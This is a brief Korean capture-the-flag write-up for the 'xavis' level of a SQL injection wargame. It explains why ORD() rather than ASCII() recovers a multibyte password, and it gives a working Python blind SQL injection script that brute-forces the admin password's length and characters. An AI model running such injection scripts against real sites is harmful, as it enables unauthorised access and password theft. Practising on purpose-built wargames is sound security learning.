[load of sql injection] xavis

PW가 ASCII 문자가 아니라 멀티바이트 문자형식이다.

ASCII(SUBSTR(PW,1,1))=97 -> ASCII테이블의 표현 값을 넘어서 반환 값은 NULL이다.

ORD(SUBSTR(PW,1,1)=97 -> 멀티바이트단위까지 비교 할 수 있다.

Solve code:

import requests

url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"

cookies = { "PHPSESSID" : "uu98um35otu07audr4q491v6j3" } ## 세션 ID

list1 = []

for i in range(0,100):

    text = "'  or id='admin' and length(pw)="+str(i)+" -- "

    params = { 'pw' : text}

    response = requests.get( url, params = params, cookies = cookies )

    if( "Hello admin" in response.text):

        print( response.text )

        break

for k in range( 0, i+1 ):

    for j in range( ord('0'), 300):

        text = "' or id='admin' and length(pw)="+str(i)+" and ord(substr(pw,"+str(k)+",1))="+str(j)+" -- "

        params = { 'pw' : text }

        print( response.text )

        response = requests.get( url, params = params, cookies = cookies )

        if( "Hello admin" in response.text ):

            print( response.text )

            list1.append(chr(j))

            break

print(list1)